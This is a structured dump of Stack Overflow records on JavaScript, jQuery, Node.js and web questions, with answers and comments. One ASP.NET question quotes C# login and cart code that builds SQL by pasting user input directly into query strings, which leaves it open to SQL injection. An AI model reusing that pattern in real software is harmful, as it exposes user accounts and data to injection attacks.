tags question: http://stackoverflow.com/q/25779027
tags question: http://stackoverflow.com/q/25748407
tags question: http://stackoverflow.com/q/25741153
tags question: http://stackoverflow.com/q/25859899
tags question: http://stackoverflow.com/q/25839819
tags question: http://stackoverflow.com/q/25821624

http://stackoverflow.com/a/25803574
has body: You can use: var r = a.match(/^(?:[^c]*c){1,3}(.*)1t/)[1]; // 20 Or to make it safer: var r = (a.match(/^(?:[^c]*c){1,3}(.*)1t/) || [null, null])[1]; // 20 a='c*1uc*2uc*1tc*2t'; var r = (a.match(/^(?:[^c]*c){1,3}(.*)1t/) || [null, null])[1]; // * a='c*1uc*1t' r = (a.match(/^(?:[^c]*c){1,3}(.*)1t/) || [null, null])[1] // null a="c761uc201t"; r = (a.match(/^(?:[^c]*c){1,3}(.*)1t/) || [null, null])[1] // 20
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40361964
answers question: http://stackoverflow.com/q/25803490
score: 1
has comment: http://stackoverflow.com/comment/40361908
accepted answer of: http://stackoverflow.com/q/25803490
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25753125
has title: Reload Mathjax = forcing typesetting once again
accepted answer: http://stackoverflow.com/a/25762256
has body: i wanted to reload Mathjax, i.e. force typesetting once again when clicking on a button. Therefore i wrote the following code: &lt;button onClick="newTask()"&gt;&lt;/button&gt; The reload function contains: function newTask(){ // This is a function creating a new task, i.e. replacing HTML between some tags newCode(); // Now i want to renew typesetting by calling Mathjax MathJax.Hub.Queue(["Typeset",MathJax.Hub]); } My script did not work. Where do I have to put the line "MathJax.Hub.Queue(["Typeset",MathJax.Hub]);" ? Any help would be greatly appreciated! :)
has answer: http://stackoverflow.com/a/63096535
downvote count: 1
type: AnsweredQuestion
tagged with: mathjax
score: 3
possible better answer: http://stackoverflow.com/a/63096535
has comment: http://stackoverflow.com/comment/40275361
tagged with: javascript
has comment: http://stackoverflow.com/comment/40273224
type: Question
upvote count: 4
answer count: 2
has answer: http://stackoverflow.com/a/25762256
has comment: http://stackoverflow.com/comment/95549387
has comment: http://stackoverflow.com/comment/40273065
favorite count: 0
linked to: http://stackoverflow.com/q/5200545
has comment: http://stackoverflow.com/comment/40271916

http://stackoverflow.com/comment/40547319
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25867928
has text: @KBoek Mobile Native player open automatically when user click on the play button. we are just sending the streaming url on click the play button.
score: 0

http://stackoverflow.com/comment/40386842
comment on: http://stackoverflow.com/a/25816956
type: AnswerComment
has text: The problem is I need a kind of double reference. In my main controller I have `$scope.slot1 = [...some cards...];` so to refer to this without ng repeat I just do: ` `, but in ng-repeat and say the range function returns `["slot1", "slot2",...]`, then with ` `, `cards` will be set to `"slot1"`, when really I want it to be set to array referenced by the variable called slot1 in the controller's scope.
type: Comment
score: 0

http://stackoverflow.com/a/25847684
upvote count: 1
has comment: http://stackoverflow.com/comment/40442985
has comment: http://stackoverflow.com/comment/40442145
has comment: http://stackoverflow.com/comment/40444061
downvote count: 0
answers question: http://stackoverflow.com/q/25847627
type: Answer
has body: Use common classes with data-* attributes to identify the specific elements. Something like this: echo "&lt;img class='epopedit' data-idp='$idp' src='img/edit.png' /&gt;"; echo "&lt;div class='edialog' data-idp='$idp' style='display:none'&gt; &lt;!-- some data --&gt; &lt;/div&gt;"; $(".epopedit").on("click", function() { var $el = $(this); $(".edialog").filter(function() { return $(this).data('idp') == $el.data('idp'); }).dialog(options).dialog("open"); });
score: 1

http://stackoverflow.com/comment/40356999
has text: You are most likely using asynchronous version. In which case document.ready does not mean that GA script is loaded. Wrap your code inside a `setTimeout`.
comment on: http://stackoverflow.com/q/25800084
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40283083
has text: You do `originPoint.push(marker, i);` which adds both the marker object, and 'i' to the array. Neither of these is just a latitude or longitude coordinate, so when you try and use them in `var ot = new google.maps.LatLng(originPoint[1], originPoint[2])` you're not going to have the type of values you need.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25751118

http://stackoverflow.com/a/25810130
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 2
has body: You can set the input value to one with $("#input_field").val("1"); (given that the input field has the css-id "input_field"). http://api.jquery.com/val/ You need to call this when a certain event occurs (like a change in the other form element). You can do something like (untested) $("#select").change(function() { // change max value via ajax if needed $("#input_field").val("1"); }); (given that the select field has the css-id "select")
score: 2
answers question: http://stackoverflow.com/q/25809813
accepted answer of: http://stackoverflow.com/q/25809813

http://stackoverflow.com/q/25751723
tagged with: http://stackoverflow.com/tag/q
has body: I making multiple mongoDB queries in loop. and want to send the all results as one data array.But when I simple use the return for send the data it simply return undefined and do not wait for results of all DB request. I also tried to use q.moulde but same issue. Code: var getPrayerInCat = function(data){ var result ; var finalData = []; if(data.length &gt;0){ data.forEach(function(data2){ var id= data2.id; Prayer.find({prayerCat:id},function(err,prayer){ var deferred = Q.defer() if (err) { // ... console.log('An error has occurred'); // res.send(err); result= finalData = err } else { if(!prayer){ // console.log(data2.id+'--0'); data2.prayersCount = 0; result = deferred.resolve(finalData.push(data2)) } else { // console.log(data2.id+'--'+prayer.length); data2.prayersCount = prayer.length; // console.log(prayer) result = deferred.resolve(finalData.push(data2)) } // else for data forward } deferred.promise; }) // deferred.resolve(finalData); }) /*if(finalData.length &gt; 0) { return finalData;}*/ } } finalData is returned undefined.
answer count: 1
downvote count: 0
favorite count: 0
tagged with: promise
linked to: http://stackoverflow.com/q/22519784
has comment: http://stackoverflow.com/comment/40267326
has comment: http://stackoverflow.com/comment/40267684
has comment: http://stackoverflow.com/comment/40267928
has answer: http://stackoverflow.com/a/25756564
tagged with: node.js
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40267605
has title: Issue in returning data retrieved from DB queries called in the loop
upvote count: 18
type: Question
tagged with: mongodb
score: 18
accepted answer: http://stackoverflow.com/a/25756564
tagged with: javascript

http://stackoverflow.com/comment/40412130
score: 2
comment on: http://stackoverflow.com/q/25827234
has text: @Renra please don't give bad advice - throwing (or rejecting with) primitives is a nasty habit that makes debugging much much harder.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25834524
type: AnsweredQuestion
score: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25834595
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/25834595
has title: jQuery slideUp not working correctly.
upvote count: 2
tagged with: methods
answer count: 1
has body: I have an issue concerning the slideUp() method. It works only for the last element (Panel 3). The first two slide down and I have no idea why.. Please keep in mind that I just started with jQuery and I'm really a newbie. Here is the jQuery code: $(document).ready(function () { $('.panel').on('click', function() { $(this).slideUp(600); }); }); And here is the JSfiddle -> http://jsfiddle.net/py4tfq3f/2/ Thank you for your time!!
tagged with: slideup

http://stackoverflow.com/a/25808335
accepted answer of: http://stackoverflow.com/q/25716161
type: AcceptedAnswer
downvote count: 0
has body: Each engine's ENGINE_SCOPE bindings is associated with a Nashorn Global scope object. "Array", "Object" etc. are JS built-in constructors defined in global scope. So such constructors are different in different global scopes. So, you can't compare object from another global scope with "instanceof". But because of smart dynalink based linking, nashorn can still allow you to access properties of such "cross global" objects. You can, for example, access "length" property, elements of array from script run in another engine using normal property/element access, method call syntax. Hope this helps.
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25716161
upvote count: 2

http://stackoverflow.com/comment/40263599
type: AnswerComment
has text: Ok, i see you're trying to use UI-Bootstrap's modal service. It works in much the same way, resolved functions will be tacked onto the end of the parameter list for the modal's controller.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25749791

http://stackoverflow.com/a/25765125
has comment: http://stackoverflow.com/comment/40291348
upvote count: 2
downvote count: 1
answers question: http://stackoverflow.com/q/25765124
has comment: http://stackoverflow.com/comment/40293590
score: 1
has comment: http://stackoverflow.com/comment/40293425
has comment: http://stackoverflow.com/comment/40291231
has comment: http://stackoverflow.com/comment/40293381
has comment: http://stackoverflow.com/comment/40291901
has body: I ended up downloading the files from https://github.com/jquery/jquery-ui/tree/master/ui/i18n, but I would still like to know if they are available elsewhere. I have tested them and can confirm they are compatible with my jQuery UI 1.11.1 datepicker.
type: Answer

http://stackoverflow.com/a/25764145
type: Answer
has body: There are 2 possible problems: 1) You need to wrap your code into $(document).ready(function() { ... your code here ... }); This allows the js code to be executed when the dom is completely loaded. 2) verify that you don't have an error in the js console of your browser
answers question: http://stackoverflow.com/q/25763639
has comment: http://stackoverflow.com/comment/40289520
score: 0
has comment: http://stackoverflow.com/comment/40289741

http://stackoverflow.com/comment/40195022
type: QuestionComment
score: 2
has text: Can you compile LLVM using Emscripten & run it?
comment on: http://stackoverflow.com/q/25713194
type: Comment

http://stackoverflow.com/a/25791709
answers question: http://stackoverflow.com/q/25791334
score: 4
upvote count: 4
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25791334
has comment: http://stackoverflow.com/comment/40339558
type: Answer
has body: I made this a Community Wiki because this question is really too broad, C# and JavaScript are very different things and answer can't be complete. I'll just sketch a direction but the way to go is to learn C# and differences will be clear. That's the reason I'll try to first write something similar to JavaScript program you posted and then, step by step, to change it to be more C# style. Let me also say that if you extensively want to use dynamic typing in C# (or JavaScript programming style) then (probably)...you picked wrong language. Step 1 Something somehow close to what you write can be written in C# like this (let me use this example to highlight differences, you really have to buy a good C# book and start from there): dynamic dog = new ExpandoObject(); dog.Name = "Pluto"; dog.Hello = new Action(() =&gt; Console.WriteLine("This is a dog named {0}", dog.Name)); dog.Hello(); First of all you see that in C# a variable must be typed, in this case with dynamic we bypass static typing and we may even change content later (but this is another story). ExpandoObject is a special object that can be expanded adding properties, it's not normal C# behavior where almost everything about types is checked at compile-times (don't think about casts, now). Second line is pretty similar, nothing new (for you) here but pretty strange if you're a traditional C# programmer. Finally the interesting part: we add a property that is a delegate (using a lambda) but here there is a big difference (you also noted by yourself): this has a different meaning in C# and within a method this is the instance of the object where method is declared (OK it's declared in the class but you know what I mean). Let's watch this: dog.Name, we captured dog variable inside our anonymous method (as you would do in JavaScript). Step 2 It's just a starting point because design and philosophy is completely different, same thing in C# should be done with an Animal base class and Dog + Cat derived classes but you'…
has comment: http://stackoverflow.com/comment/40339626

http://stackoverflow.com/comment/40285882
has text: http://jsfiddle.net/vikrant47/ygpp6wod/1/ heres the fiddle,Its working as expected :)
comment on: http://stackoverflow.com/a/25761980
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/40213085
has text: What do you mean by writing a JSON parser?? ( I hope you don't mean reading a JSON file in your application ) Can you give me an example?
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25722301

http://stackoverflow.com/a/25749872
has comment: http://stackoverflow.com/comment/40264657
answers question: http://stackoverflow.com/q/25749824
has comment: http://stackoverflow.com/comment/40263507
score: 0
has body: Your function sayName does not "belong" to your Class, in order to do so you need to declare it using this or using propotype Using this : function person(first, last, age, eye) { this.sayName = function(){ return "Hello my name is "+this.firstName + " "+this.lastName; } } Using prototype : person.prototype.sayName = function(){ return "Hello my name is "+this.firstName + " "+this.lastName; } Additionally sayName was not returning anything.
has comment: http://stackoverflow.com/comment/40263564
upvote count: 1
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40263595
has comment: http://stackoverflow.com/comment/40263630

http://stackoverflow.com/a/25764650
has comment: http://stackoverflow.com/comment/40290427
has comment: http://stackoverflow.com/comment/40290519
answers question: http://stackoverflow.com/q/25764153
accepted answer of: http://stackoverflow.com/q/25764153
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40290274
type: Answer
has comment: http://stackoverflow.com/comment/40292815
has body: You are calling map method of native array, and IE7 does not have it implemented (and the same happens with reduce). This is a solution using jQuery functions that should work: var acc = 0; $.each($.map([0, 1, 2, 3, 4, 5, 6, 7, 8], function(x) { return parseInt(input.charAt(x)) * (10 - x); }), function(key, value) { acc = acc + value; }); var sum = acc % 11; Even more, if the keys of input are always numbers (and you go through all of them), you could remove the map function having the code like this: var acc = 0; $.each(input, function(key,value) { acc = acc + (parseInt(value) * (10 - key)); }); var sum = acc % 11; Hope it helps.
downvote count: 0
score: 1

http://stackoverflow.com/q/25849737
has body: I'm using pm2 (https://github.com/Unitech/pm2) in my node.js project. Also I'm sending logs of errors of the app in Logentries (https://logentries.com). I wonder is it possible to log uncaught exceptions from the app (when something fails badly and pm2 restarts the app for example)? I know that using process.on('uncaughtException') is bad practice so would like to hear some suggestions. Thanks!
accepted answer: http://stackoverflow.com/a/25872642
type: Question
answer count: 1
tagged with: javascript
tagged with: logentries
has title: node.js - PM2 log uncaught exceptions to third-party service (as Logentries)
tagged with: uncaught-exception
downvote count: 0
has answer: http://stackoverflow.com/a/25872642
score: 8
favorite count: 0
upvote count: 8
tagged with: pm2
tagged with: node.js
type: AnsweredQuestion

http://stackoverflow.com/comment/40476568
score: 0
comment on: http://stackoverflow.com/a/25866422
type: Comment
has text: Oh i notice that button is universal it dont lean on any article it stick to its parent section.
type: AnswerComment

http://stackoverflow.com/q/25742431
tagged with: asp.net
has comment: http://stackoverflow.com/comment/40251597
has comment: http://stackoverflow.com/comment/40251929
has comment: http://stackoverflow.com/comment/40249882
has body: I am developing an application in asp.net using c#. In my application some of the pages are simple html and some of them are aspx associated with a master page. In the html page i am setting up the session through ajax call and also I am getting the current session through same process. Setting up the session and getting session between html pages are working fine. But when an html page redirecting to the aspx page then master page not getting the session. How can I pass session from html to aspx master page. Please help. Web Method Code: [WebMethod(EnableSession=true)] public string getUserID() { try { if (Session["User_ID"] != null) { uid = Convert.ToString(Session["User_ID"]); if (uid.Contains("temp@")) { return "NA"; } else { return uid; } } else { return "NA"; } } catch (NullReferenceException) { return "NA"; } } [WebMethod(EnableSession=true)] [ScriptMethod(ResponseFormat = ResponseFormat.Json)] public string ValidateCustomer(string cust_email, string cust_passkeys, string temp_userid) { sql_query = "select Password_Hash from Customer_Master where Customer_Email='" + cust_email + "'"; result_ds = new DataSet(); result_ds = DBAccess.selectQuery(sql_query); bool pwdStatus; if (result_ds.Tables[0].Rows.Count > 0) { string pwdHash = Convert.ToString(result_ds.Tables[0].Rows[0][0]); pwdStatus = PasswordHash.PasswordHash.ValidatePassword(cust_passkeys.Trim(), pwdHash); if (pwdStatus) { sql_query = "update Temporary_Shopping_Cart set Customer_ID='" + cust_email.Trim() + "' where Customer_ID='" + temp_userid.Trim() + "'"; status = DBAccess.executeQuery(sql_query); Session["User_ID"] = cust_email.ToString(); return "TRUE"; } else return "FALSE"; } else { return "FALSE"; } } JQuery Code: $.ajax({ type: "POST", contentType: "application/json; charset=utf-8", url: "Services/Utils_General.asmx/getUserID", data: "{}", dataType: "JSON", async: false, cache: false, success: function (data) { var uid = data.d.toString(); alert(uid); if (uid != "NA") { document.getElementById("…
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40251866
type: Question
tagged with: c#
tagged with: session
has comment: http://stackoverflow.com/comment/40256685
tagged with: javascript
score: 0
has title: Not getting session value in master page load in asp.net
tagged with: jquery

http://stackoverflow.com/comment/40202323
comment on: http://stackoverflow.com/a/25716818
type: Comment
has text: English works anyway. I have another button inside a form with runat="server" which has the 'theClickEvent' function. That causes the issue
score: 0
type: AnswerComment

http://stackoverflow.com/q/25757802
type: AnsweredQuestion
upvote count: 0
has body: I am trying to add the helper function to my underscore template. But I am not able to do this. any one can please correct me? here is my tempalate: &lt;script type="text/template" id="table"&gt; &lt;table&gt; &lt;tbody&gt; &lt;tr&gt; &lt;% _.each(obj.titles, function(item){ %&gt; &lt;td&gt;&lt;%= item.label %&gt; &lt;% }); %&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/script&gt; Here is my js: var viewHelper = { getProperty: function(propertyName) { console.log('getProperty ' + propertyName); return propertyName; } }; var obj = { "titles" : [ {"label" : "-----Totals for Month---- "}, {"label":"-----Previous Year-----"} ] }; var template = _.template($('#table').html()); var html = _.extend(obj, viewHelper); $('body').html(template(html)); But I am not able to get any call in to my helper function at all.. please update in to my fiddle; fiddle
has title: How to add the helper to `underscorejs` template?
type: Question
tagged with: underscore.js-templating
has answer: http://stackoverflow.com/a/25760316
accepted answer: http://stackoverflow.com/a/25760316
score: -2
tagged with: underscore.js
downvote count: 2
answer count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40278913

http://stackoverflow.com/a/25714384
upvote count: 2
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/40198206
answers question: http://stackoverflow.com/q/25714358
accepted answer of: http://stackoverflow.com/q/25714358
has comment: http://stackoverflow.com/comment/40197993
type: AcceptedAnswer
downvote count: 0
has body: You would have a separate file that you reference this way from your HTML document &lt;script type='text/javascript' src='path/to/file.js'&gt;&lt;/script&gt; That file would contain ONLY your actual code, ie this $('img').hover(function(){ $(this).css({width:"100%",height:"100%"}); },function(){ $(this).css({width:"50%",height:"50%"}); }); You also might need to put your javascript inside a document ready call - $(function(){ $('img').hover(function(){ $(this).css({width:"100%",height:"100%"}); },function(){ $(this).css({width:"50%",height:"50%"}); }); }); Other resources https://softwareengineering.stackexchange.com/questions/91242/what-is-the-best-way-to-include-javascript-file-using-script-tag When should I use Inline vs. External Javascript? http://api.jquery.com/ready/

http://stackoverflow.com/q/25729270
answer count: 1
tagged with: arrays
downvote count: 0
tagged with: javascript
has title: Loop to display hierarchical data
accepted answer: http://stackoverflow.com/a/25729378
tagged with: multidimensional-array
has comment: http://stackoverflow.com/comment/40225173
has body: I am creating an array out of essentially hierachical data, for example as below: [ {id: 1, title: 'hello', parent: 0, children: [ {id: 3, title: 'hello', parent: 1, children: [ {id: 4, title: 'hello', parent: 3, children: [ {id: 5, title: 'hello', parent: 4}, {id: 6, title: 'hello', parent: 4} ]}, {id: 7, title: 'hello', parent: 3} ]} ]}, {id: 2, title: 'hello', parent: 0, children: [ {id: 8, title: 'hello', parent: 2} ]} ] I am looking to loop through the array, but can't get my head around how to recursively loop down to create an unordered list where each child level is indented. Trying to do this in JavaScript, but need a push in the right direction for the construction of the loop to drill down until there are no more children, and then back up to the top array. Any help would be appreciated.
favorite count: 0
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25729378
score: 1
type: Question
tagged with: for-loop

http://stackoverflow.com/comment/40410198
type: Comment
type: QuestionComment
has text: The code is JScript .NET, which is basically a .NET version of Javascript.Regardless of language, Anyone with `appending` type of skill can answers my question.
comment on: http://stackoverflow.com/q/25830061
score: 0

http://stackoverflow.com/comment/40276110
has text: would inverting the place I put the new fruit with a .push() be better and popping off the last with a conditional be a better idea?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25756384

cryptojs
tags question: http://stackoverflow.com/q/25733528
tag name: cryptojs
tags question: http://stackoverflow.com/q/25865222
type: Tag

http://stackoverflow.com/q/25821282
tagged with: css
score: 4
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40394292
accepted answer: http://stackoverflow.com/a/25821441
has body: I made a little jQuery code that changes the background image in the box. HTML &lt;div class="content-wrapper" id="box"&gt; &lt;div class="content"&gt; CONTENT &lt;/div&gt; &lt;/div&gt; jQUERY slide=Math.floor((Math.random() * 6) + 1); slide=(slide==0?1:slide); $("#box").attr("style", "background-image:url(images/slider/"+(slide)+".jpg);"); setInterval(function() { $("#box").attr("style", "background-image:url(images/slider/"+(slide)+".jpg);"); slide++; if(slide&gt;6) slide=1; }, 6000 ); CSS .content-wrapper{ display:table; width:100%; color:black; text-align:center; margin:0 0 0 0 !important; padding:0px !important; height:600px; } .content-wrapper &gt; .content{ width:100%; display: table-cell; vertical-align:middle; text-align:center; font-size:36px; font-weight:bold; } #box { background-repeat: no-repeat; background-position:center top; background-attachment:fixed; background-size:cover; } #box &gt; .content{ background:rgba(0,0,0,0.5); color:#FFF; } DEMO My idea is when page is loaded each time show random pictures and start slide that changes image every 6 seconds. All this works nicely, but I do not know how to make a nice transition. fadeIn() or fadeOut() is out of the question because over the images I have fixed text content. I do not want to use too large libraries for background slider, so I'm interested in the simplest solution. Thank you very much.
has title: Background image transition using jQuery
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40412071
upvote count: 4
has answer: http://stackoverflow.com/a/25821441
answer count: 1
has comment: http://stackoverflow.com/comment/40394303
downvote count: 0
tagged with: jquery
favorite count: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25862201
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25862280
type: Question
linked to: http://stackoverflow.com/q/3506208
tagged with: google-chrome-devtools
tagged with: javascript
has body: Our static content server is serving images for various web portals (black box for me). On web portal all images are coming fine even though they are from different domain (assuming static server sets http headers accordingly). However if I try to access same image using browser console via ajax calls (using jquery or xmlhttp) it gives cross domain call failure error (i.e. request is successful but browser denied response). Below is a simple jsfiddle to show the problem JSfiddle for image coming in dom but ajax call failing /*Image tag works fine*/ &lt;img src='https://casinogames.bwin.com/htmllobby/images/gameicon/melonmadness.jpg' /&gt; /*ajax call fails*/ var a = $.ajax(' https://casinogames.bwin.com/htmllobby/images/gameicon/melonmadness.jpg'); I verified request/response headers and they are exactly same in both scenarios. I want to know if there is any specific difference between request from image tag and ajax? I tried both IE console and Chrome console and same results.
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25866997
accepted answer: http://stackoverflow.com/a/25866997
has answer: http://stackoverflow.com/a/25862280
tagged with: jquery
tagged with: ajax
tagged with: http://stackoverflow.com/tag/html
has title: image from cross domain showing fine in HTML but ajax calls for same image failing from browser console

http://stackoverflow.com/a/25797061
upvote count: 1
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25796553
has body: You may use some cron job tools like node-cron

http://stackoverflow.com/comment/40231667
type: Comment
comment on: http://stackoverflow.com/q/25732334
has text: @Josh :O haha sorry I thought It didn't fit your requirements because you didn't mark it as the solution to your question.
score: 0
type: QuestionComment

http://stackoverflow.com/a/25796303
score: 0
answers question: http://stackoverflow.com/q/25796265
has comment: http://stackoverflow.com/comment/40348631
type: Answer
has body: You are close. You need to set the value of n, instead of redeclaring one in the function scope: $(document).ready(function() { $('#submit').click(function() { n = 90.0; // n should already exist ANGLE = n; // update again. }); }); Based on your code, it looks like you might also need update the ANGLE variable. A submit (in most cases) will cause the page context to refresh. To maintain the value, you could use localstorage, and re-pull it down on page load.

http://stackoverflow.com/q/25785073
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25785185
favorite count: 0
has title: how to validate same form id in javascript?
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/40327533
accepted answer: http://stackoverflow.com/a/25785185
downvote count: 3
has comment: http://stackoverflow.com/comment/40327643
has comment: http://stackoverflow.com/comment/40327472
has comment: http://stackoverflow.com/comment/40327447
upvote count: 0
tagged with: javascript
score: -3
has body: I am trying to validate two forms with same id. for first its working fine. but for second its not validating why? Here, i have given the example code: function cc(id){ if(document.getElementById(id).value.toUpperCase()==(id)){ document.getElementById(id).style.backgroundColor = "green"; }else{ document.getElementById(id).style.backgroundColor = "red"; } } &lt;form id="save" method="post"&gt; &lt;input type="text" name="A" id="C" class="textbox" onKeyUp="cc(id,this, 'H')" maxlength="1" /&gt; &lt;input type="text" name="A" id="C" class="textbox" onKeyUp="cc(id,this, 'H')" maxlength="1" /&gt; &lt;/form&gt; http://jsbin.com/viraqixicigi/6/edit

http://stackoverflow.com/comment/40371618
type: Comment
score: 1
has text: Instead of storing showDetails on the individual car objects you could store an `activeDetailsIndex` variable on your controller and just set it to the index of the car that you want to show.
comment on: http://stackoverflow.com/a/25809048
type: AnswerComment

http://stackoverflow.com/comment/40334420
type: Comment
comment on: http://stackoverflow.com/a/25788695
type: AnswerComment
has text: @user2191187 and that's why i've put a second solution for compatibility issue.
score: 0

http://stackoverflow.com/comment/40243803
type: QuestionComment
has text: Any error on console?
comment on: http://stackoverflow.com/q/25738828
score: 0
type: Comment

http://stackoverflow.com/comment/40325668
type: Comment
has text: http://getbootstrap.com/javascript/#popovers . This is a separate component in bootstrap, only depends on their tooltip. You may use it with your own markup.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25783864

http://stackoverflow.com/comment/40280219
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25753841
has text: you make it so simple. Thank you very much. As I'm self taught please suggest me some books from where I can learn exactly what you suggested. Thank you once again.
type: Comment

http://stackoverflow.com/comment/40291901
score: 0
type: AnswerComment
type: Comment
has text: I am the author. I have read that one can answer their own question if it contributes something to the problem. I hope my answer could help other people having this problem. It is a kind of TLDR: the files are there. That said, I was hoping from a more complete answer, and @ne1410s provided just that. :)
comment on: http://stackoverflow.com/a/25765125

http://stackoverflow.com/q/25817234
has comment: http://stackoverflow.com/comment/40387301
score: 1
has comment: http://stackoverflow.com/comment/40388540
has comment: http://stackoverflow.com/comment/40944956
type: Question
tagged with: google-apps-script
has title: Javascript Wait for Dynamic Input
tagged with: google-sheets
accepted answer: http://stackoverflow.com/a/26699177
downvote count: 0
has comment: http://stackoverflow.com/comment/40426002
tagged with: javascript
has comment: http://stackoverflow.com/comment/41018680
has body: I am using a variation of a script to generate random numbers in multiple columns of a spreadsheet, as shared by Tim Cooper on stackoverflow, which works by selecting any range of contiguous cells and running the script from an onOpen menu. The variation is implemented as a custom function in Google Sheets and uses values from an INPUT column (A) as maximum values for random numbers generated in the adjacent OUTPUT column (B), which in turn are used by the spreadsheet to derive the subsequent INPUT values. A simplified example: The custom function reads A1 and writes a random number between 0 and A1 (80) in B1. A2 is then calculated by adding 10 to B1, etc. | A | B | 1 | 80 | 75 | 2 | 85 | 63 | 3 | 73 | 52 | 4 | 62 | 40 | 5 | 50 | 25 | The problem is that the spreadsheet needs some time to fill in the next input value (in this case, A2), which will produce errors when it is too slow to supply the input for the custom function to calculate the random value in the next row. As is, the custom function is a single block of code which identifies the active sheet and range of cells. It then loops through the number of rows, retrieving input values, determining the random values and writing them to the adjacent cells. function generate_random_numbers() { var sheet = SpreadsheetApp.getActiveSheet() var range = sheet.getActiveRange() var counter = 0 for (var y = 1; y &lt;= range.getHeight(); y++) { counter = counter + 1 if (counter != 3) { var maximum = range.getCell(y, 1).getValue() var random = (maximum != 0) ? Math.floor(Math.random() * maximum) + 1: 0 } else { random = "" counter = 0 } range.getCell(y, 2).setValue(random) } } I looked into splitting the function into a seperate part which retrieves the values, with an isNaN check to determine success and in case of failure setTimeout the function for 100. Unfortunately, Google Apps Script doesn't seem to support setTimeout. I'd appreciate suggestions on how to get a spreadsheet and a script which uses dynamic values to w…
tagged with: random
answer count: 1
has comment: http://stackoverflow.com/comment/40944269
favorite count: 0
has comment: http://stackoverflow.com/comment/40897769
has comment: http://stackoverflow.com/comment/40424418
has comment: http://stackoverflow.com/comment/40905380
upvote count: 1
has answer: http://stackoverflow.com/a/26699177
has comment: http://stackoverflow.com/comment/40387958
type: AnsweredQuestion

http://stackoverflow.com/q/25822560
has comment: http://stackoverflow.com/comment/40397085
has comment: http://stackoverflow.com/comment/40396737
tagged with: css
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40396695
tagged with: knockout.js
type: Question
has body: I'm trying to manipulate of css class on knockout.js click event, but it's not working. Currently I'm binding css class basing on value of $data.IsSelected element (true | false). I can't get what is right way to do what I want - should I manipulate with DOM (as I'm trying to do now) or should I change value of observableArray element to be true instead of false, for example and then update ViewModel, so theoretically this must change css class. Here is JS. And this it HTML to show binding: Вкусы Что вам по душе? Поехали! P.S. Here is one more problem - I can't bind observableArray self.img to the corresponding img element.
has title: Knockout.js Change (not toggle) css class on click
accepted answer: http://stackoverflow.com/a/25822822
tagged with: javascript
tagged with: jquery
score: 0
has answer: http://stackoverflow.com/a/25822822
tagged with: http://stackoverflow.com/tag/html
answer count: 1

http://stackoverflow.com/a/25814052
answers question: http://stackoverflow.com/q/25813931
type: Answer
has comment: http://stackoverflow.com/comment/40381110
has body: You are looking for setTimeout function. It accepts two arguments: function and delay (ms), function will be called after delay. var delay1 = 2000; // 2 seconds var delay2 = 3000; // 3 seconds setBackground('image-1.png'); setTimeout(function() { setBackground('image-2.gif'); setTimeout(function() { setBackground('image-3.gif'); }, delay2); }, delay1); function setBackground(src) { image.style.backgroundImage = 'url(' + src + ')'; }
has comment: http://stackoverflow.com/comment/40381265
score: 0
has comment: http://stackoverflow.com/comment/40381248
has comment: http://stackoverflow.com/comment/40381454

http://stackoverflow.com/a/25788369
has body: Whether to create a service or factory is really a design issue. You probably want to look at libraries such as $resource, Restangular or ThickM, which helps you create services which relate your models to API endpoints for fetching and saving. Asynchronous automatic saving could be solved either in the service or on controllers. Disclosure: I'm the author of ThickM.
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/25788104
type: Answer

http://stackoverflow.com/a/25778096
has body: It's not difficult. Loop through tr elements and get the 3rd column: $(function () { var urls = []; $('#rankwyz-blogs tr').each(function () { urls.push($(this).find('td').eq(2).text()); }); alert(urls); }); jsFiddle Demo.
accepted answer of: http://stackoverflow.com/q/25778011
answers question: http://stackoverflow.com/q/25778011
type: Answer
downvote count: 0
score: 1
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/comment/40479978
comment on: http://stackoverflow.com/q/25868553
score: 0
type: QuestionComment
type: Comment
has text: possible duplicate of http://stackoverflow.com/questions/18320483/validation-mvc4-razor-and-bootstrap

http://stackoverflow.com/comment/40478555
type: Comment
has text: Yeah, it's assigned as null when the page loads. Thanks
comment on: http://stackoverflow.com/a/25862819
type: AnswerComment
score: 0

http://stackoverflow.com/a/74845723
downvote count: 0
type: Answer
score: 1
answers question: http://stackoverflow.com/q/25776973
upvote count: 1
